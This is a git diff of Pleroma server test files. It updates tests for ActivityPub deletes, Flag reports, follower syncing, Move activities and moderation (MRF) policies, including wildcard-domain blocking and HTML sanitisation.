+ test "it passes delete activity through MRF before deleting the object" do
+ rewrite_policy = Pleroma.Config.get([:instance, :rewrite_policy])
+ Pleroma.Config.put([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.DropPolicy)
+
+ on_exit(fn -> Pleroma.Config.put([:instance, :rewrite_policy], rewrite_policy) end)
+
+ note = insert(:note_activity)
+ object = Object.normalize(note)
+
+ {:error, {:reject, _}} = ActivityPub.delete(object)
+
+ assert Activity.get_by_id(note.id)
+ assert Repo.get(Object, object.id).data["type"] == object.data["type"]
+ end
end
describe "timeline post-processing" do
@@ -990,7 +1360,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
})
activities =
- ActivityPub.fetch_activities([user1.ap_id | user1.following])
+ ActivityPub.fetch_activities([user1.ap_id | User.following(user1)])
|> Enum.map(fn a -> a.id end)
private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"])
@@ -1000,7 +1370,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert length(activities) == 3
activities =
- ActivityPub.fetch_activities([user1.ap_id | user1.following], %{"user" => user1})
+ ActivityPub.fetch_activities([user1.ap_id | User.following(user1)], %{"user" => user1})
|> Enum.map(fn a -> a.id end)
assert [public_activity.id, private_activity_1.id] == activities
@@ -1052,141 +1422,98 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert 3 = length(activities)
end
- test "it can create a Flag activity" do
- reporter = insert(:user)
- target_account = insert(:user)
- {:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
- context = Utils.generate_context_id()
- content = "foobar"
-
- reporter_ap_id = reporter.ap_id
- target_ap_id = target_account.ap_id
- activity_ap_id = activity.data["id"]
-
- assert {:ok, activity} =
- ActivityPub.flag(%{
- actor: reporter,
- context: context,
- account: target_account,
- statuses: [activity],
- content: content
- })
-
- assert %Activity{
- actor: ^reporter_ap_id,
- data: %{
- "type" => "Flag",
- "content" => ^content,
- "context" => ^context,
- "object" => [^target_ap_id, ^activity_ap_id]
- }
- } = activity
- end
-
- describe "publish_one/1" do
- test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified",
- Instances,
- [:passthrough],
- [] do
- actor = insert(:user)
- inbox = "http://200.site/users/nick1/inbox"
-
- assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
-
- assert called(Instances.set_reachable(inbox))
+ describe "flag/1" do
+ setup do
+ reporter = insert(:user)
+ target_account = insert(:user)
+ content = "foobar"
+ {:ok, activity} = CommonAPI.post(target_account, %{"status" => content})
+ context = Utils.generate_context_id()
+
+ reporter_ap_id = reporter.ap_id
+ target_ap_id = target_account.ap_id
+ activity_ap_id = activity.data["id"]
+
+ activity_with_object = Activity.get_by_ap_id_with_object(activity_ap_id)
+
+ {:ok,
+ %{
+ reporter: reporter,
+ context: context,
+ target_account: target_account,
+ reported_activity: activity,
+ content: content,
+ activity_ap_id: activity_ap_id,
+ activity_with_object: activity_with_object,
+ reporter_ap_id: reporter_ap_id,
+ target_ap_id: target_ap_id
+ }}
end
- test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set",
- Instances,
- [:passthrough],
- [] do
- actor = insert(:user)
- inbox = "http://200.site/users/nick1/inbox"
-
- assert {:ok, _} =
- Publisher.publish_one(%{
- inbox: inbox,
- json: "{}",
- actor: actor,
- id: 1,
- unreachable_since: NaiveDateTime.utc_now()
+ test "it can create a Flag activity",
+ %{
+ reporter: reporter,
+ context: context,
+ target_account: target_account,
+ reported_activity: reported_activity,
+ content: content,
+ activity_ap_id: activity_ap_id,
+ activity_with_object: activity_with_object,
+ reporter_ap_id: reporter_ap_id,
+ target_ap_id: target_ap_id
+ } do
+ assert {:ok, activity} =
+ ActivityPub.flag(%{
+ actor: reporter,
+ context: context,
+ account: target_account,
+ statuses: [reported_activity],
+ content: content
})
- assert called(Instances.set_reachable(inbox))
- end
-
- test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil",
- Instances,
- [:passthrough],
- [] do
- actor = insert(:user)
- inbox = "http://200.site/users/nick1/inbox"
-
- assert {:ok, _} =
- Publisher.publish_one(%{
- inbox: inbox,
- json: "{}",
- actor: actor,
- id: 1,
- unreachable_since: nil
- })
-
- refute called(Instances.set_reachable(inbox))
- end
-
- test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code",
- Instances,
- [:passthrough],
- [] do
- actor = insert(:user)
- inbox = "http://404.site/users/nick1/inbox"
-
- assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
-
- assert called(Instances.set_unreachable(inbox))
- end
-
- test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind",
- Instances,
- [:passthrough],
- [] do
- actor = insert(:user)
- inbox = "http://connrefused.site/users/nick1/inbox"
-
- assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+ note_obj = %{
+ "type" => "Note",
+ "id" => activity_ap_id,
+ "content" => content,
+ "published" => activity_with_object.object.data["published"],
+ "actor" => AccountView.render("show.json", %{user: target_account})
+ }
- assert called(Instances.set_unreachable(inbox))
+ assert %Activity{
+ actor: ^reporter_ap_id,
+ data: %{
+ "type" => "Flag",
+ "content" => ^content,
+ "context" => ^context,
+ "object" => [^target_ap_id, ^note_obj]
+ }
+ } = activity
end
- test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable",
- Instances,
+ test_with_mock "strips status data from Flag, before federating it",
+ %{
+ reporter: reporter,
+ context: context,
+ target_account: target_account,
+ reported_activity: reported_activity,
+ content: content
+ },
+ Utils,
[:passthrough],
[] do
- actor = insert(:user)
- inbox = "http://200.site/users/nick1/inbox"
+ {:ok, activity} =
+ ActivityPub.flag(%{
+ actor: reporter,
+ context: context,
+ account: target_account,
+ statuses: [reported_activity],
+ content: content
+ })
- assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+ new_data =
+ put_in(activity.data, ["object"], [target_account.ap_id, reported_activity.data["id"]])
- refute called(Instances.set_unreachable(inbox))
- end
-
- test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`",
- Instances,
- [:passthrough],
- [] do
- actor = insert(:user)
- inbox = "http://connrefused.site/users/nick1/inbox"
-
- assert {:error, _} =
- Publisher.publish_one(%{
- inbox: inbox,
- json: "{}",
- actor: actor,
- id: 1,
- unreachable_since: NaiveDateTime.utc_now()
- })
-
- refute called(Instances.set_unreachable(inbox))
+ assert_called(Utils.maybe_federate(%{activity | data: new_data}))
end
end
@@ -1237,4 +1564,207 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert result.id == activity.id
end
end
+
+ describe "fetch_follow_information_for_user" do
+ test "syncronizes following/followers counters" do
+ user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/fuser2/followers",
+ following_address: "http://localhost:4001/users/fuser2/following"
+ )
+
+ {:ok, info} = ActivityPub.fetch_follow_information_for_user(user)
+ assert info.follower_count == 527
+ assert info.following_count == 267
+ end
+
+ test "detects hidden followers" do
+ mock(fn env ->
+ case env.url do
+ "http://localhost:4001/users/masto_closed/followers?page=1" ->
+ %Tesla.Env{status: 403, body: ""}
+
+ _ ->
+ apply(HttpRequestMock, :request, [env])
+ end
+ end)
+
+ user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/masto_closed/followers",
+ following_address: "http://localhost:4001/users/masto_closed/following"
+ )
+
+ {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user)
+ assert follow_info.hide_followers == true
+ assert follow_info.hide_follows == false
+ end
+
+ test "detects hidden follows" do
+ mock(fn env ->
+ case env.url do
+ "http://localhost:4001/users/masto_closed/following?page=1" ->
+ %Tesla.Env{status: 403, body: ""}
+
+ _ ->
+ apply(HttpRequestMock, :request, [env])
+ end
+ end)
+
+ user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/masto_closed/followers",
+ following_address: "http://localhost:4001/users/masto_closed/following"
+ )
+
+ {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user)
+ assert follow_info.hide_followers == false
+ assert follow_info.hide_follows == true
+ end
+
+ test "detects hidden follows/followers for friendica" do
+ user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:8080/followers/fuser3",
+ following_address: "http://localhost:8080/following/fuser3"
+ )
+
+ {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user)
+ assert follow_info.hide_followers == true
+ assert follow_info.follower_count == 296
+ assert follow_info.following_count == 32
+ assert follow_info.hide_follows == true
+ end
+
+ test "doesn't crash when follower and following counters are hidden" do
+ mock(fn env ->
+ case env.url do
+ "http://localhost:4001/users/masto_hidden_counters/following" ->
+ json(%{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "id" => "http://localhost:4001/users/masto_hidden_counters/followers"
+ })
+
+ "http://localhost:4001/users/masto_hidden_counters/following?page=1" ->
+ %Tesla.Env{status: 403, body: ""}
+
+ "http://localhost:4001/users/masto_hidden_counters/followers" ->
+ json(%{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "id" => "http://localhost:4001/users/masto_hidden_counters/following"
+ })
+
+ "http://localhost:4001/users/masto_hidden_counters/followers?page=1" ->
+ %Tesla.Env{status: 403, body: ""}
+ end
+ end)
+
+ user =
+ insert(:user,
+ local: false,
+ follower_address: "http://localhost:4001/users/masto_hidden_counters/followers",
+ following_address: "http://localhost:4001/users/masto_hidden_counters/following"
+ )
+
+ {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user)
+
+ assert follow_info.hide_followers == true
+ assert follow_info.follower_count == 0
+ assert follow_info.hide_follows == true
+ assert follow_info.following_count == 0
+ end
+ end
+
+ describe "fetch_favourites/3" do
+ test "returns a favourite activities sorted by adds to favorite" do
+ user = insert(:user)
+ other_user = insert(:user)
+ user1 = insert(:user)
+ user2 = insert(:user)
+ {:ok, a1} = CommonAPI.post(user1, %{"status" => "bla"})
+ {:ok, _a2} = CommonAPI.post(user2, %{"status" => "traps are happy"})
+ {:ok, a3} = CommonAPI.post(user2, %{"status" => "Trees Are "})
+ {:ok, a4} = CommonAPI.post(user2, %{"status" => "Agent Smith "})
+ {:ok, a5} = CommonAPI.post(user1, %{"status" => "Red or Blue "})
+
+ {:ok, _, _} = CommonAPI.favorite(a4.id, user)
+ {:ok, _, _} = CommonAPI.favorite(a3.id, other_user)
+ {:ok, _, _} = CommonAPI.favorite(a3.id, user)
+ {:ok, _, _} = CommonAPI.favorite(a5.id, other_user)
+ {:ok, _, _} = CommonAPI.favorite(a5.id, user)
+ {:ok, _, _} = CommonAPI.favorite(a4.id, other_user)
+ {:ok, _, _} = CommonAPI.favorite(a1.id, user)
+ {:ok, _, _} = CommonAPI.favorite(a1.id, other_user)
+ result = ActivityPub.fetch_favourites(user)
+
+ assert Enum.map(result, & &1.id) == [a1.id, a5.id, a3.id, a4.id]
+
+ result = ActivityPub.fetch_favourites(user, %{"limit" => 2})
+ assert Enum.map(result, & &1.id) == [a1.id, a5.id]
+ end
+ end
+
+ describe "Move activity" do
+ test "create" do
+ %{ap_id: old_ap_id} = old_user = insert(:user)
+ %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id])
+ follower = insert(:user)
+ follower_move_opted_out = insert(:user, allow_following_move: false)
+
+ User.follow(follower, old_user)
+ User.follow(follower_move_opted_out, old_user)
+
+ assert User.following?(follower, old_user)
+ assert User.following?(follower_move_opted_out, old_user)
+
+ assert {:ok, activity} = ActivityPub.move(old_user, new_user)
+
+ assert %Activity{
+ actor: ^old_ap_id,
+ data: %{
+ "actor" => ^old_ap_id,
+ "object" => ^old_ap_id,
+ "target" => ^new_ap_id,
+ "type" => "Move"
+ },
+ local: true
+ } = activity
+
+ params = %{
+ "op" => "move_following",
+ "origin_id" => old_user.id,
+ "target_id" => new_user.id
+ }
+
+ assert_enqueued(worker: Pleroma.Workers.BackgroundWorker, args: params)
+
+ Pleroma.Workers.BackgroundWorker.perform(params, nil)
+
+ refute User.following?(follower, old_user)
+ assert User.following?(follower, new_user)
+
+ assert User.following?(follower_move_opted_out, old_user)
+ refute User.following?(follower_move_opted_out, new_user)
+
+ activity = %Activity{activity | object: nil}
+
+ assert [%Notification{activity: ^activity}] =
+ Notification.for_user(follower, %{with_move: true})
+
+ assert [%Notification{activity: ^activity}] =
+ Notification.for_user(follower_move_opted_out, %{with_move: true})
+ end
+
+ test "old user must be in the new user's `also_known_as` list" do
+ old_user = insert(:user)
+ new_user = insert(:user)
+
+ assert {:error, "Target account must have the origin in `alsoKnownAs`"} =
+ ActivityPub.move(old_user, new_user)
+ end
+ end
end
diff --git a/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs b/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs
index 03dc299ec..b524fdd23 100644
--- a/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs
+++ b/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs
@@ -35,7 +35,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
test "it allows posts without links" do
user = insert(:user)
- assert user.info.note_count == 0
+ assert user.note_count == 0
message =
@linkless_message
@@ -47,7 +47,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
test "it disallows posts with links" do
user = insert(:user)
- assert user.info.note_count == 0
+ assert user.note_count == 0
message =
@linkful_message
@@ -59,9 +59,9 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
describe "with old user" do
test "it allows posts without links" do
- user = insert(:user, info: %{note_count: 1})
+ user = insert(:user, note_count: 1)
- assert user.info.note_count == 1
+ assert user.note_count == 1
message =
@linkless_message
@@ -71,9 +71,9 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
end
test "it allows posts with links" do
- user = insert(:user, info: %{note_count: 1})
+ user = insert(:user, note_count: 1)
- assert user.info.note_count == 1
+ assert user.note_count == 1
message =
@linkful_message
@@ -85,9 +85,9 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
describe "with followed new user" do
test "it allows posts without links" do
- user = insert(:user, info: %{follower_count: 1})
+ user = insert(:user, follower_count: 1)
- assert user.info.follower_count == 1
+ assert user.follower_count == 1
message =
@linkless_message
@@ -97,9 +97,9 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
end
test "it allows posts with links" do
- user = insert(:user, info: %{follower_count: 1})
+ user = insert(:user, follower_count: 1)
- assert user.info.follower_count == 1
+ assert user.follower_count == 1
message =
@linkful_message
@@ -133,7 +133,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do
describe "with contentless-objects" do
test "it does not reject them or error out" do
- user = insert(:user, info: %{note_count: 1})
+ user = insert(:user, note_count: 1)
message =
@response_message
diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs
index 372e789be..95a809d25 100644
--- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs
+++ b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs
@@ -6,6 +6,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do
use Pleroma.DataCase
alias Pleroma.HTTP
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy
import Mock
@@ -24,6 +25,11 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do
test "it prefetches media proxy URIs" do
with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do
MediaProxyWarmingPolicy.filter(@message)
+
+ ObanHelpers.perform_all()
+ # Performing jobs which has been just enqueued
+ ObanHelpers.perform_all()
+
assert called(HTTP.get(:_, :_, :_))
end
end
diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs
new file mode 100644
index 000000000..04709df17
--- /dev/null
+++ b/test/web/activity_pub/mrf/mrf_test.exs
@@ -0,0 +1,86 @@
+defmodule Pleroma.Web.ActivityPub.MRFTest do
+ use ExUnit.Case, async: true
+ use Pleroma.Tests.Helpers
+ alias Pleroma.Web.ActivityPub.MRF
+
+ test "subdomains_regex/1" do
+ assert MRF.subdomains_regex(["unsafe.tld", "*.unsafe.tld"]) == [
+ ~r/^unsafe.tld$/i,
+ ~r/^(.*\.)*unsafe.tld$/i
+ ]
+ end
+
+ describe "subdomain_match/2" do
+ test "common domains" do
+ regexes = MRF.subdomains_regex(["unsafe.tld", "unsafe2.tld"])
+
+ assert regexes == [~r/^unsafe.tld$/i, ~r/^unsafe2.tld$/i]
+
+ assert MRF.subdomain_match?(regexes, "unsafe.tld")
+ assert MRF.subdomain_match?(regexes, "unsafe2.tld")
+
+ refute MRF.subdomain_match?(regexes, "example.com")
+ end
+
+ test "wildcard domains with one subdomain" do
+ regexes = MRF.subdomains_regex(["*.unsafe.tld"])
+
+ assert regexes == [~r/^(.*\.)*unsafe.tld$/i]
+
+ assert MRF.subdomain_match?(regexes, "unsafe.tld")
+ assert MRF.subdomain_match?(regexes, "sub.unsafe.tld")
+ refute MRF.subdomain_match?(regexes, "anotherunsafe.tld")
+ refute MRF.subdomain_match?(regexes, "unsafe.tldanother")
+ end
+
+ test "wildcard domains with two subdomains" do
+ regexes = MRF.subdomains_regex(["*.unsafe.tld"])
+
+ assert regexes == [~r/^(.*\.)*unsafe.tld$/i]
+
+ assert MRF.subdomain_match?(regexes, "unsafe.tld")
+ assert MRF.subdomain_match?(regexes, "sub.sub.unsafe.tld")
+ refute MRF.subdomain_match?(regexes, "sub.anotherunsafe.tld")
+ refute MRF.subdomain_match?(regexes, "sub.unsafe.tldanother")
+ end
+
+ test "matches are case-insensitive" do
+ regexes = MRF.subdomains_regex(["UnSafe.TLD", "UnSAFE2.Tld"])
+
+ assert regexes == [~r/^UnSafe.TLD$/i, ~r/^UnSAFE2.Tld$/i]
+
+ assert MRF.subdomain_match?(regexes, "UNSAFE.TLD")
+ assert MRF.subdomain_match?(regexes, "UNSAFE2.TLD")
+ assert MRF.subdomain_match?(regexes, "unsafe.tld")
+ assert MRF.subdomain_match?(regexes, "unsafe2.tld")
+
+ refute MRF.subdomain_match?(regexes, "EXAMPLE.COM")
+ refute MRF.subdomain_match?(regexes, "example.com")
+ end
+ end
+
+ describe "describe/0" do
+ clear_config([:instance, :rewrite_policy])
+
+ test "it works as expected with noop policy" do
+ expected = %{
+ mrf_policies: ["NoOpPolicy"],
+ exclusions: false
+ }
+
+ {:ok, ^expected} = MRF.describe()
+ end
+
+ test "it works as expected with mock policy" do
+ Pleroma.Config.put([:instance, :rewrite_policy], [MRFModuleMock])
+
+ expected = %{
+ mrf_policies: ["MRFModuleMock"],
+ mrf_module_mock: "some config data",
+ exclusions: false
+ }
+
+ {:ok, ^expected} = MRF.describe()
+ end
+ end
+end
diff --git a/test/web/activity_pub/mrf/normalize_markup_test.exs b/test/web/activity_pub/mrf/normalize_markup_test.exs
index 3916a1f35..0207be56b 100644
--- a/test/web/activity_pub/mrf/normalize_markup_test.exs
+++ b/test/web/activity_pub/mrf/normalize_markup_test.exs
@@ -20,11 +20,11 @@ defmodule Pleroma.Web.ActivityPub.MRF.NormalizeMarkupTest do
expected = """
<b>this is in bold</b>
<p>this is a paragraph</p>
- this is a linebreak<br />
- this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
- this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a>
- this is an image: <img src="http://example.com/image.jpg" /><br />
- alert('hacked')
+ this is a linebreak<br/>
+ this is a link with allowed &quot;rel&quot; attribute: <a href="http://example.com/" rel="tag">example.com</a>
+ this is a link with not allowed &quot;rel&quot; attribute: <a href="http://example.com/">example.com</a>
+ this is an image: <img src="http://example.com/image.jpg"/><br/>
+ alert(&#39;hacked&#39;)
"""
message = %{"type" => "Create", "object" => %{"content" => @html_sample}}
diff --git a/test/web/activity_pub/mrf/object_age_policy_test.exs b/test/web/activity_pub/mrf/object_age_policy_test.exs
new file mode 100644
index 000000000..643609da4
--- /dev/null
+++ b/test/web/activity_pub/mrf/object_age_policy_test.exs
@@ -0,0 +1,105 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.ActivityPub.MRF.ObjectAgePolicyTest do
+ use Pleroma.DataCase
+ alias Pleroma.Config
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy
+ alias Pleroma.Web.ActivityPub.Visibility
+
+ clear_config([:mrf_object_age]) do
+ Config.put(:mrf_object_age,
+ threshold: 172_800,
+ actions: [:delist, :strip_followers]
+ )
+ end
+
+ setup_all do
+ Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
+ describe "with reject action" do
+ test "it rejects an old post" do
+ Config.put([:mrf_object_age, :actions], [:reject])
+
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+
+ {:reject, _} = ObjectAgePolicy.filter(data)
+ end
+
+ test "it allows a new post" do
+ Config.put([:mrf_object_age, :actions], [:reject])
+
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+ |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601())
+
+ {:ok, _} = ObjectAgePolicy.filter(data)
+ end
+ end
+
+ describe "with delist action" do
+ test "it delists an old post" do
+ Config.put([:mrf_object_age, :actions], [:delist])
+
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+
+ {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"])
+
+ {:ok, data} = ObjectAgePolicy.filter(data)
+
+ assert Visibility.get_visibility(%{data: data}) == "unlisted"
+ end
+
+ test "it allows a new post" do
+ Config.put([:mrf_object_age, :actions], [:delist])
+
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+ |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601())
+
+ {:ok, _user} = User.get_or_fetch_by_ap_id(data["actor"])
+
+ {:ok, ^data} = ObjectAgePolicy.filter(data)
+ end
+ end
+
+ describe "with strip_followers action" do
+ test "it strips followers collections from an old post" do
+ Config.put([:mrf_object_age, :actions], [:strip_followers])
+
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+
+ {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"])
+
+ {:ok, data} = ObjectAgePolicy.filter(data)
+
+ refute user.follower_address in data["to"]
+ refute user.follower_address in data["cc"]
+ end
+
+ test "it allows a new post" do
+ Config.put([:mrf_object_age, :actions], [:strip_followers])
+
+ data =
+ File.read!("test/fixtures/mastodon-post-activity.json")
+ |> Poison.decode!()
+ |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601())
+
+ {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"])
+
+ {:ok, ^data} = ObjectAgePolicy.filter(data)
+ end
+ end
+end
diff --git a/test/web/activity_pub/mrf/reject_non_public_test.exs b/test/web/activity_pub/mrf/reject_non_public_test.exs
index fdf6b245e..fc1d190bb 100644
--- a/test/web/activity_pub/mrf/reject_non_public_test.exs
+++ b/test/web/activity_pub/mrf/reject_non_public_test.exs
@@ -8,12 +8,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do
alias Pleroma.Web.ActivityPub.MRF.RejectNonPublic
- setup do
- policy = Pleroma.Config.get([:mrf_rejectnonpublic])
- on_exit(fn -> Pleroma.Config.put([:mrf_rejectnonpublic], policy) end)
-
- :ok
- end
+ clear_config([:mrf_rejectnonpublic])
describe "public message" do
test "it's allowed when address is public" do
diff --git a/test/web/activity_pub/mrf/simple_policy_test.exs b/test/web/activity_pub/mrf/simple_policy_test.exs
index 0fd68e103..df0f223f8 100644
--- a/test/web/activity_pub/mrf/simple_policy_test.exs
+++ b/test/web/activity_pub/mrf/simple_policy_test.exs
@@ -8,9 +8,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
alias Pleroma.Config
alias Pleroma.Web.ActivityPub.MRF.SimplePolicy
- setup do
- orig = Config.get!(:mrf_simple)
-
+ clear_config([:mrf_simple]) do
Config.put(:mrf_simple,
media_removal: [],
media_nsfw: [],
@@ -21,10 +19,6 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
avatar_removal: [],
banner_removal: []
)
-
- on_exit(fn ->
- Config.put(:mrf_simple, orig)
- end)
end
describe "when :media_removal" do
@@ -49,6 +43,19 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(local_message) == {:ok, local_message}
end
+
+ test "match with wildcard domain" do
+ Config.put([:mrf_simple, :media_removal], ["*.remote.instance"])
+ media_message = build_media_message()
+ local_message = build_local_message()
+
+ assert SimplePolicy.filter(media_message) ==
+ {:ok,
+ media_message
+ |> Map.put("object", Map.delete(media_message["object"], "attachment"))}
+
+ assert SimplePolicy.filter(local_message) == {:ok, local_message}
+ end
end
describe "when :media_nsfw" do
@@ -74,6 +81,20 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(local_message) == {:ok, local_message}
end
+
+ test "match with wildcard domain" do
+ Config.put([:mrf_simple, :media_nsfw], ["*.remote.instance"])
+ media_message = build_media_message()
+ local_message = build_local_message()
+
+ assert SimplePolicy.filter(media_message) ==
+ {:ok,
+ media_message
+ |> put_in(["object", "tag"], ["foo", "nsfw"])
+ |> put_in(["object", "sensitive"], true)}
+
+ assert SimplePolicy.filter(local_message) == {:ok, local_message}
+ end
end
defp build_media_message do
@@ -106,6 +127,15 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(report_message) == {:reject, nil}
assert SimplePolicy.filter(local_message) == {:ok, local_message}
end
+
+ test "match with wildcard domain" do
+ Config.put([:mrf_simple, :report_removal], ["*.remote.instance"])
+ report_message = build_report_message()
+ local_message = build_local_message()
+
+ assert SimplePolicy.filter(report_message) == {:reject, nil}
+ assert SimplePolicy.filter(local_message) == {:ok, local_message}
+ end
end
defp build_report_message do
@@ -146,6 +176,27 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(local_message) == {:ok, local_message}
end
+ test "match with wildcard domain" do
+ {actor, ftl_message} = build_ftl_actor_and_message()
+
+ ftl_message_actor_host =
+ ftl_message
+ |> Map.fetch!("actor")
+ |> URI.parse()
+ |> Map.fetch!(:host)
+
+ Config.put([:mrf_simple, :federated_timeline_removal], ["*." <> ftl_message_actor_host])
+ local_message = build_local_message()
+
+ assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message)
+ assert actor.follower_address in ftl_message["to"]
+ refute actor.follower_address in ftl_message["cc"]
+ refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"]
+ assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"]
+
+ assert SimplePolicy.filter(local_message) == {:ok, local_message}
+ end
+
test "has a matching host but only as:Public in to" do
{_actor, ftl_message} = build_ftl_actor_and_message()
@@ -185,13 +236,29 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
end
- test "has a matching host" do
+ test "activity has a matching host" do
Config.put([:mrf_simple, :reject], ["remote.instance"])
remote_message = build_remote_message()
assert SimplePolicy.filter(remote_message) == {:reject, nil}
end
+
+ test "activity matches with wildcard domain" do
+ Config.put([:mrf_simple, :reject], ["*.remote.instance"])
+
+ remote_message = build_remote_message()
+
+ assert SimplePolicy.filter(remote_message) == {:reject, nil}
+ end
+
+ test "actor has a matching host" do
+ Config.put([:mrf_simple, :reject], ["remote.instance"])
+
+ remote_user = build_remote_user()
+
+ assert SimplePolicy.filter(remote_user) == {:reject, nil}
+ end
end
describe "when :accept" do
@@ -205,7 +272,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
end
- test "is not empty but it doesn't have a matching host" do
+ test "is not empty but activity doesn't have a matching host" do
Config.put([:mrf_simple, :accept], ["non.matching.remote"])
local_message = build_local_message()
@@ -215,7 +282,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(remote_message) == {:reject, nil}
end
- test "has a matching host" do
+ test "activity has a matching host" do
Config.put([:mrf_simple, :accept], ["remote.instance"])
local_message = build_local_message()
@@ -224,6 +291,24 @@ defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
assert SimplePolicy.filter(local_message) == {:ok, local_message}
assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
end
+
+ test "activity matches with wildcard domain" do
+ Config.put([:mrf_simple, :accept], ["*.remote.instance"])
+
+ local_message = build_local_message()
+ remote_message = build_remote_message()
+
+ assert SimplePolicy.filter(local_message) == {:ok, local_message}
+ assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
+ end
+
+ test "actor has a matching host" do
+ Config.put([:mrf_simple, :accept], ["remote.instance"])
+
+ remote_user = build_remote_user()
+
+ assert SimplePolicy.filter(remote_user) == {:ok, remote_user}
+ end
end
describe "when :avatar_removal" do
